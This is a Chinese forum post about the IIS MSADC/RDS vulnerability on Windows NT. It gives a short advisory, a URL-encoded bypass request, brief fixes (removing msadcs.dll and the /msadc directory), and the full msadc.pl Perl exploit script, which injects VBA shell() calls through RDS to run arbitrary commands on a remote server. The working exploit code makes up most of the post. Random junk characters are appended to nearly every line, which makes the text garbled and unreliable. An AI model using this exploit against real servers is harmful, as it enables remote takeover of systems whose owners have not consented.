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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) g$ h`.Fk,  
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涉及程序: R@~=z5X( Q  
Microsoft NT server h,|. qfUk  
>["X( %&w  
描述: *b8AN3!  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #Oi{7~  
w8}jmpnI  
详细:  !U=o<)I  
如果你没有时间读详细内容的话,就删除: l/-qVAd!q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 9 iV_  
有关的安全问题就没有了。 t$z 5m<8  
OF/hD2V  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _lrvK99  
V@o#" gZ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 {5 Sy=Y  
关于利用ODBC远程漏洞的描述,请参看: oLIgj,k{*  
2@,rIve  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm EslHml#  
i5cK5MaD  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 O-&^;]ieJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %f5c,}  
>!MRk[@ V-  
这里不再论述。 xSrjN  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: `*",_RO;  
Y1G/1Z# 2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 4^T_" W}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! z1nKj\AM2  
"7J38Ej\  
XaF;IS@A  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ~,7Tj  
>|aVGY  
#!perl w@WPp0mny  
# K_F"j!0  
# MSADC/RDS 'usage' (aka exploit) script |[!7^tU*  
# 'U-8w@\Z  
# by rain.forest.puppy _ %G;^ b  
# ]Z?jo#F  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me .z[#j]k  
# beta test and find errors! S!66t?vHB  
? =G{2E.  
use Socket; use Getopt::Std; aC94g7)`  
getopts("e:vd:h:XR", \%args); |7QSr!{_  
~S\,  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0BQ{ZT-Kh  
B`)TRt+'.  
if (!defined $args{h} && !defined $args{R}) { fd$nAE  
print qq~ @MP;/o+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 35J VF*z  
-h <host> = host you want to scan (ip or domain) CbwQbJ/v7  
-d <seconds> = delay between calls, default 1 second Pk>S;KT.  
-X = dump Index Server path table, if available i0F6eqe=J  
-v = verbose Qs ysy  
-e = external dictionary file for step 5 &v#pS!UOj  
f2u4*X E\  
Or a -R will resume a command session Clb7=@f  
Nq1YFI>W  
~; exit;} *dN_=32u  
'<$*N  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; :7~DiH:Q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} mVEIHzk2b  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {YG qa$+\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); p'A43  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} rl,i,1t  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } _nM 7SK  
Hk'R!X  
if (!defined $args{R}){ $ret = &has_msadc; /U} )mdFm  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <G'M/IR a  
m d `=2l  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" zkquXzlgB  
. "cmd /c "; >qBJK)LHOv  
$in=<STDIN>; chomp $in; -]t>'Q?  
$command="cmd /c " . $in ; tUt_Q;%yC  
WIabQ_fX  
if (defined $args{R}) {&load; exit;} Tp|>(~;ai  
Y]7 6y>|e  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 9N<=,!;5~s  
&try_btcustmr; 4'TssRot@h  
Lp(i&A  
print "\nStep 2: Trying to make our own DSN..."; >pp#>{}  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; NFF!g]QN  
Z/T( 4  
print "\nStep 3: Trying known DSNs..."; tSe[*V4{'  
&known_dsn; |h&Z.  
yb,X }"Et  
print "\nStep 4: Trying known .mdbs..."; #lO ^PK  
&known_mdb; [=",R&uD$  
A/{!w"G  
if (defined $args{e}){ p[ &b@U#  
print "\nStep 5: Trying dictionary of DSN names...";  /PTq.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } vqZBDQ0  
t)= dKC  
print "Sorry Charley...maybe next time?\n"; q0DRT4K  
exit; [RY Rt/?Q  
=K_&@|f+B  
############################################################################## |*DkriYY  
lF t^dl^  
sub sendraw { # ripped and modded from whisker ?C- ju8]|  
sleep($delay); # it's a DoS on the server! At least on mine... m>RtKCtP  
my ($pstr)=@_; `X)A$lLr  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || [b_qC'K[  
die("Socket problems\n"); 1 e]D=2y  
if(connect(S,pack "SnA4x8",2,80,$target)){ Z;,G:@,  
select(S); $|=1; hxMV?\MYj  
print $pstr; my @in=<S>; |>OBpb  
select(STDOUT); close(S); i[ >U#5  
return @in; ^C92R"*Qu  
} else { die("Can't connect...\n"); }} 3 NFo=Z8  
y` {|D*  
############################################################################## iXq*EZb"R  
*Q)-"]O(k  
sub make_header { # make the HTTP request " %qr*|  
my $msadc=<<EOT :K5?&kT  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 D)Ep!`Q   
User-Agent: ACTIVEDATA P)#h4|xZ  
Host: $ip n/x((d%"E  
Content-Length: $clen /='Q-`?9  
Connection: Keep-Alive hC9EL= A  
97qf3^gGd  
ADCClientVersion:01.06 BMqr YW  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 wa~zb!y<  
/]U;7)  
--!ADM!ROX!YOUR!WORLD! (G/(w%#7_  
Content-Type: application/x-varg &H P g>  
Content-Length: $reqlen |sY  
gVe]?Jva`  
EOT E-($Xc  
; $msadc=~s/\n/\r\n/g; <EQaYZY=  
return $msadc;} z;y{QO  
s;..a&C'  
############################################################################## R7K`9 c1f6  
Fq_>}k@fI  
sub make_req { # make the RDS request ,L lYRj 5  
my ($switch, $p1, $p2)=@_; uE<8L(*B  
my $req=""; my $t1, $t2, $query, $dsn; ^B%c3U$o  
00{a }@n  
if ($switch==1){ # this is the btcustmr.mdb query B:Ft(,  
$query="Select * from Customers where City=" . make_shell(); Pouo# 5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1)jea wVmj  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} N&eo;Ti  
_RUL$Ds  
elsif ($switch==2){ # this is general make table query ^*.+4iHx  
$query="create table AZZ (B int, C varchar(10))"; ^G2M4+W|  
$dsn="$p1";} SM%/pu;  
' Ttsscv  
elsif ($switch==3){ # this is general exploit table query 3l,-n|x  
$query="select * from AZZ where C=" . make_shell(); S;jD@j\t&  
$dsn="$p1";} tv`b##  
1X7GM65#  
elsif ($switch==4){ # attempt to hork file info from index server tC(MaI  
$query="select path from scope()"; : p)R,('g  
$dsn="Provider=MSIDXS;";} e&*b{>1*  
dJ#go*Gn  
elsif ($switch==5){ # bad query >3pT).wH|M  
$query="select"; TOF V`7q;3  
$dsn="$p1";} RwYFBc  
j"hEs(t  
$t1= make_unicode($query); S3i p?9  
$t2= make_unicode($dsn); *^Ges;5 $"  
$req = "\x02\x00\x03\x00"; 9bM kP2w>  
$req.= "\x08\x00" . pack ("S1", length($t1)); c9o]w8p/  
$req.= "\x00\x00" . $t1 ; \uZ|2WG`  
$req.= "\x08\x00" . pack ("S1", length($t2)); ^,mN-.W  
$req.= "\x00\x00" . $t2 ; WG@3+R>{  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; MnZljB  
return $req;} /H"fycZ  
)Tp"l"(G  
############################################################################## 09 trFj$L  
7(uz*~Z?`0  
sub make_shell { # this makes the shell() statement dP +wcl4  
return "'|shell(\"$command\")|'";} D B65vM  
,|3_@tUl  
############################################################################## Rd5-ao4  
5S2 j5M00  
sub make_unicode { # quick little function to convert to unicode JN4gH4ez)  
my ($in)=@_; my $out; e^3D`GA  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ('Qq"cn#  
return $out;} 'S9o!hb'@  
|m6rF7Q  
############################################################################## ]s\vc:cc?  
0nL #-`S  
sub rdo_success { # checks for RDO return success (this is kludge) Yj*T'<e  
my (@in) = @_; my $base=content_start(@in); ~CbiKez  
if($in[$base]=~/multipart\/mixed/){ pgiZA?r*<  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2O*At%CzW  
return 0;} 6W{Nw<  
+Ugy=678Tr  
############################################################################## 8>W52~^fU  
leb/D>y  
sub make_dsn { # this makes a DSN for us 8h }a:/  
my @drives=("c","d","e","f"); *~shvtq  
print "\nMaking DSN: "; U#S-x5Gn  
foreach $drive (@drives) { r5ldK?=k+*  
print "$drive: "; [DDe}D3C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Y0krFhL'x0  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 9jY+0h*uP  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); +])<}S!M  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; A&p@iE*/  
return 0 if $2 eq "404"; # not found/doesn't exist U5TkgHN{y  
if($2 eq "200") { tpEy-"D&  
foreach $line (@results) { Hg<aU*o;  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7)5G 1  
} return 0;} _ h5d~  
K-)!d$$   
############################################################################## 0kj5r*qA  
ybqmPT'|_  
sub verify_exists { )W>$_QxbN  
my ($page)=@_; =0] K(p,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); y6tqemz  
return $results[0];} L.yM"  
UPr& `kaJ  
############################################################################## d~rA`!s7`  
.?5 ~zK  
sub try_btcustmr { 036m\7+Qj  
my @drives=("c","d","e","f"); utuWFAGn A  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (lS[a  
r7g@(K  
foreach $dir (@dirs) { "yh2+97l  
print "$dir -> "; # fun status so you can see progress hnB`+!  
foreach $drive (@drives) { xvl{o  
print "$drive: "; # ditto {<@ud0A:\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; .\T!oSb4[  
$reqlenlen=length( "$reqlen" ); W_E^+Wl@  
$clen= 206 + $reqlenlen + $reqlen; l0`bseN <  
0m]QQGvJ{  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); m//aAxmB  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} NJgu`@YoI  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} WZn;u3,R  
2ua!<^,  
############################################################################## 7yT/t1)  
fh3uo\`@  
sub odbc_error { XPqGv=CN  
my (@in)=@_; my $base; L(K 5f7\  
my $base = content_start(@in); R&;x_4dr^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5I1YB+$}e  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nRB3VsL  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;22?-F^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3IQI={:k|D  
return $in[$base+4].$in[$base+5].$in[$base+6];} }xt^}:D  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ?!U.o1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . }q]*aADe  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} }A@:JR+|  
<uB)u>3   
############################################################################## }DM W,+3  
Gv G8s6IZ  
sub verbose { Vm\zLWNB  
my ($in)=@_; ukEJD3i  
return if !$verbose; hBnUpYec  
print STDOUT "\n$in\n";}  B>:U  
i6k6l%  
############################################################################## 2^ ]^Yc  
CN ( :  
sub save { XXn3K BIf  
my ($p1, $p2, $p3, $p4)=@_; xtD(tiqh.;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ]  &"`  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; }(!Uq  
close OUT;} qMVuFw Phi  
yOQae m^O  
############################################################################## h[iO'Vq  
iYvzZ7 8f  
sub load { "*D9.LyM  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {+_p?8X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); g$#A'Du  
@p=<IN>; close(IN); ~mt{j7  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); G4 :\6fu  
$target= inet_aton($ip) || die("inet_aton problems"); z"yW):X  
print "Resuming to $ip ..."; mOh?cjOi  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Miw=2F  
if($p[1]==1) { !ITM:%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0j4n1 1#  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; A|1xK90^XT  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); LKcp.i  
if (rdo_success(@results)){print "Success!\n";} =,;$d&#*h  
else { print "failed\n"; verbose(odbc_error(@results));}} frPQi{u$  
elsif ($p[1]==3){ hx&fV#m  
if(run_query("$p[3]")){ #`gX(C>  
print "Success!\n";} else { print "failed\n"; }} I*Dj@f`  
elsif ($p[1]==4){ As>Og  
if(run_query($drvst . "$p[3]")){ 8CRbo24"s  
print "Success!\n"; } else { print "failed\n"; }} h7fytO  
exit;} |3E|VGm~  
N}%AUm/L  
############################################################################## *j]Bo,AC  
zn^7#$fC  
sub create_table { 7L&,Na  
my ($in)=@_; /{hT3ncb  
$reqlen=length( make_req(2,$in,"") ) - 28; [<U=)!Swg  
$reqlenlen=length( "$reqlen" ); R[jFB 7dd  
$clen= 206 + $reqlenlen + $reqlen; :Bt,.uN C  
my @results=sendraw(make_header() . make_req(2,$in,"")); W[DoQ @q  
return 1 if rdo_success(@results); eL"'-d+]  
my $temp= odbc_error(@results); verbose($temp); ~A5NseWCK  
return 1 if $temp=~/Table 'AZZ' already exists/; 1G12FV>M  
return 0;} @fmp2!?6  
aW dI  
############################################################################## lJ=EP.T  
/cx'(AT  
sub known_dsn { !y~nsy:&7x  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go * bYU=RS  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2>^(&95M  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ]5QXiF8`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ^_\m@   
KG(FA  
foreach $dSn (@dsns) { VT4 >6u}  
print "."; E"p _!!1  
next if (!is_access("DSN=$dSn")); \.iejB  
if(create_table("DSN=$dSn")){ p<'pqf  
print "$dSn successful\n"; ~= c 5q  
if(run_query("DSN=$dSn")){ -f ~1Id  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "#gKI/[qxq  
print "Something's borked. Use verbose next time\n";}}} print "\n";} QnBWZUI  
&F :.V$  
############################################################################## ob/<;SrU<  
@.a59kP8X  
sub is_access { J`0dF<<{[y  
my ($in)=@_; ZDzG8E0Sq  
$reqlen=length( make_req(5,$in,"") ) - 28; ]?T^tJ  
$reqlenlen=length( "$reqlen" ); V6d,}Z+"z'  
$clen= 206 + $reqlenlen + $reqlen; >f Hu  
my @results=sendraw(make_header() . make_req(5,$in,""));  "O9n|B  
my $temp= odbc_error(@results); r`sKe &  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); l lcq~*zz  
return 0;} Nb3O> &J  
'[8w8,v(  
############################################################################## @<$m`^H  
v)O].Hd  
sub run_query { b49h @G  
my ($in)=@_; n(#yGzq  
$reqlen=length( make_req(3,$in,"") ) - 28; R"HV|Dm|m  
$reqlenlen=length( "$reqlen" ); ;:oJFI#;  
$clen= 206 + $reqlenlen + $reqlen; q%q+2P>  
my @results=sendraw(make_header() . make_req(3,$in,"")); jf1GYwuW*  
return 1 if rdo_success(@results); PE6,9i0ee  
my $temp= odbc_error(@results); verbose($temp); /^jl||'H,:  
return 0;} :oW 16m1`  
EX!`Zejf  
############################################################################## xbw;s}B  
q>K3a1x  
sub known_mdb { XaE*$:   
my @drives=("c","d","e","f","g"); zmD7]?|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t+F_/_"B  
my $dir, $drive, $mdb; ?MSwr_eZH  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; seAPVzWUU  
NQuqM`LSQ  
# this is sparse, because I don't know of many `_1fa7,z  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?R sPAL  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", x\ # K2  
"\\system32\\certmdb.mdb", i9qIaG/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% l44QB8 9  
4HZXv\$  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 2 #yDVN$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", N$t<&5 +  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", HbPn<x^7  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6hR ` sE  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", C7W<7DBf  
"\\cfusion\\database\\cfexamples.mdb", <3j`Z1J  
"\\cfusion\\database\\cfsnippets.mdb", %zY5'$v `  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", x<rS2d-Y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", P~lU`.X}  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `S4*~Xx  
"\\cfusion\\database\\smpolicy.mdb", %ueD3;V  
"\\cfusion\\database\cypress.mdb", }.8yKj^p  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", \i-CTv6f  
"\\website\\cgi-win\\dbsample.mdb", -CFy   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ; }T+ImjA  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" x%ccNP0  
); #these are just NLx TiyQy  
foreach $drive (@drives) { fyT|xI`iD  
foreach $dir (@dirs){ JJg;X :p  
foreach $mdb (@sysmdbs) { M,kO7g  
print "."; 6!itr"  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ]LxE#R5V  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; OJA_OqVp$K  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ojm IEzsz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; yDZm)|<.  
} else { print "Something's borked. Use verbose next time\n"; }}}}} noz1W ]  
0:I<TJ~P  
foreach $drive (@drives) { #ucb  
foreach $mdb (@mdbs) { jy>?+hm?  
print "."; 8b-mW>xsA  
if(create_table($drv . $drive . $dir . $mdb)){ }:$ot18  
print "\n" . $drive . $dir . $mdb . " successful\n"; $'eY-U8q  
if(run_query($drv . $drive . $dir . $mdb)){ -w"lW7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; :r "G Z  
} else { print "Something's borked. Use verbose next time\n"; }}}} !'[?cEog  
} [lSQMoi3  
2v@B7r4}  
############################################################################## B1U!*yzG6  
GNrRc3dr$  
sub hork_idx { l. cp[  
print "\nAttempting to dump Index Server tables...\n"; cvT@`1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; H n]( )/  
$reqlen=length( make_req(4,"","") ) - 28; ?>V>6cDQ  
$reqlenlen=length( "$reqlen" ); YjL'GmL<  
$clen= 206 + $reqlenlen + $reqlen; v ?,@e5GZ  
my @results=sendraw2(make_header() . make_req(4,"","")); I][&*V1  
if (rdo_success(@results)){ !J@!2S 9  
my $max=@results; my $c; my %d; 5#X R1#`  
for($c=19; $c<$max; $c++){ b]xoXC6@t  
$results[$c]=~s/\x00//g; KkpbZ7\@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; >O rIY  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; zv;xxAX  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [N9yW uc  
$d{"$1$2"}="";} 0&CXR=U5  
foreach $c (keys %d){ print "$c\n"; } zv/dj04>  
} else {print "Index server doesn't seem to be installed.\n"; }} ]s)Y">6  
oqbz!dM(Z  
############################################################################## Wuk8&P3  
0m> 8  
sub dsn_dict { ]i0=3H2  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); U~?mW,iRL  
while(<IN>){ 6L\]Ee  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; zd!%7 UP  
next if (!is_access("DSN=$dSn")); xb0,dZb  
if(create_table("DSN=$dSn")){ #%E^cGfY  
print "$dSn successful\n";  !j%  
if(run_query("DSN=$dSn")){ (=c,b9cb  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { b$*2bSdv0<  
print "Something's borked. Use verbose next time\n";}}} W|zPV`  
print "\n"; close(IN);} $%31Gk[I  
UmGKj9u  
############################################################################## Rmn{Vui9\  
r7?nHF  
sub sendraw2 { # ripped and modded from whisker o37oRv]  
sleep($delay); # it's a DoS on the server! At least on mine... Pn.DeoHme  
my ($pstr)=@_; u=]*,,5<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || yk5K8D[tV  
die("Socket problems\n"); < Mu`,Kv*  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;Sg.E 8  
print "Connected. Getting data"; m0h,!  
open(OUT,">raw.out"); my @in; 52#6uBe  
select(S); $|=1; print $pstr; m2l9([u=^  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} )wD/<7;  
close(OUT); select(STDOUT); close(S); return @in; olxxs(  
} else { die("Can't connect...\n"); }} ln8NcAEx  
P*|=Z>%[0  
############################################################################## , .;0xyc  
srO>l ;Vf/  
sub content_start { # this will take in the server headers NR8`nc1~  
my (@in)=@_; my $c; P3 =#<Q.  
for ($c=1;$c<500;$c++) { lP]Y^Gz  
if($in[$c] =~/^\x0d\x0a/){ G'w!Aw s  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ?)k ]Vg.  
else { return $c+1; }}} \.H9e/vU`  
return -1;} # it should never get here actually | V{ Q  
vp!F6ZwO  
############################################################################## +'olC^?5 }  
)YAU|sCAi$  
sub funky { h2Th)&Fb>  
my (@in)=@_; my $error=odbc_error(@in); &^HVuYa.0  
if($error=~/ADO could not find the specified provider/){ 0pEM0M  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (&v|,.c^)1  
exit;} ly6zz|c5  
if($error=~/A Handler is required/){ F |5Au>t  
print "\nServer has custom handler filters (they most likely are patched)\n"; oCI\yp@a  
exit;} ,5}w]6bCr  
if($error=~/specified Handler has denied Access/){ |Z2"pV  
print "\nServer has custom handler filters (they most likely are patched)\n"; #Cu$y8~as  
exit;}} q%$p56\?3  
>C6S2ISSz  
############################################################################## 2@z.ory.  
Rj>A",  
sub has_msadc { tAJ}36 aG  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); q<z8P;oP^  
my $base=content_start(@results); ~re}6-?  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); |_8l9rB5ip  
return 0;} <1>6!`b4  
9"gu>  
######################## m0v .[61  
M | "'`zc  
q6nRk~  
解决方案: 1%N*GJlwJ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 'OP0#`6`  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 S1y6G/e9  
N_iy4W(NU  
拿出来充数 哈哈
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